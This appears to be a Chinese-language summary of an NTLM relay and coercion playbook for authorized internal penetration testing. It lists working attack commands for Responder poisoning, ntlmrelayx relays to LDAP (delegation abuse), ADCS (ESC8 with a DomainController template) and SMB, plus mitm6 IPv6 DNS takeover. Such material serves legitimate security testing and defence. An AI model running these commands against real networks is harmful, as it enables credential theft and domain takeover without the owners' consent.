用途：这是一份 NTLM 中继与认证强制（coercion）的专家攻击手册，用于在授权测试中捕获并转发 NTLM 认证，借助 SMB、LDAP、HTTP、MSSQL 等协议中继实现权限提升。
主要能力：讲解 NTLMv1 与 NTLMv2 差异；给出中继目标矩阵，说明 SMB、LDAP、LDAPS、HTTP(ADCS)、MSSQL、IMAP/SMTP、RPC 各自可获得的结果及默认签名、EPA/通道绑定要求；覆盖 Responder 的 LLMNR/NBT-NS/WPAD/mDNS 投毒、ntlmrelayx 的中继执行（SMB 命令执行与 SAM 转储、LDAP 的 RBCD/影子凭据/加机器、ADCS ESC8、MSSQL xp_cmdshell）、mitm6 的 IPv6 DNS 接管、跨协议中继（SMB→LDAP、WebDAV→LDAP）、WebDAV 强制，以及中继决策树。
使用方式：资料给出必要命令，例如检查 SMB 签名用 crackmapexec smb TARGET_IP --gen-relay-list relay_targets.txt 或 nmap -p 445 --script smb2-security-mode TARGET_RANGE；Responder 捕获用 responder -I eth0 -dwP，中继用 ntlmrelayx.py -tf targets.txt -smb2support；LDAP 委派用 ntlmrelayx.py -t ldap://DC_IP --delegate-access -smb2support；ADCS 用 ntlmrelayx.py -t http://CA_HOST/certsrv/certfnsh.asp -smb2support --adcs --template DomainController；mitm6 用 mitm6 -d domain.com 配合 ntlmrelayx.py -6 -t ldap://DC_IP -wh fake-wpad.domain.com --delegate-access -smb2support。
适用场景：内网渗透测试、红队评估中针对未强制签名或未启用 EPA 的服务进行中继提权。
限制：中继是否成功取决于目标签名与通道绑定配置；SMB→LDAP 在源端 SMB 签名协商指示中继时会失败；WebDAV 强制要求目标运行 WebClient 服务；LDAPS 默认要求通道绑定。资料未提供具体授权范围、版本兼容性或法律合规说明。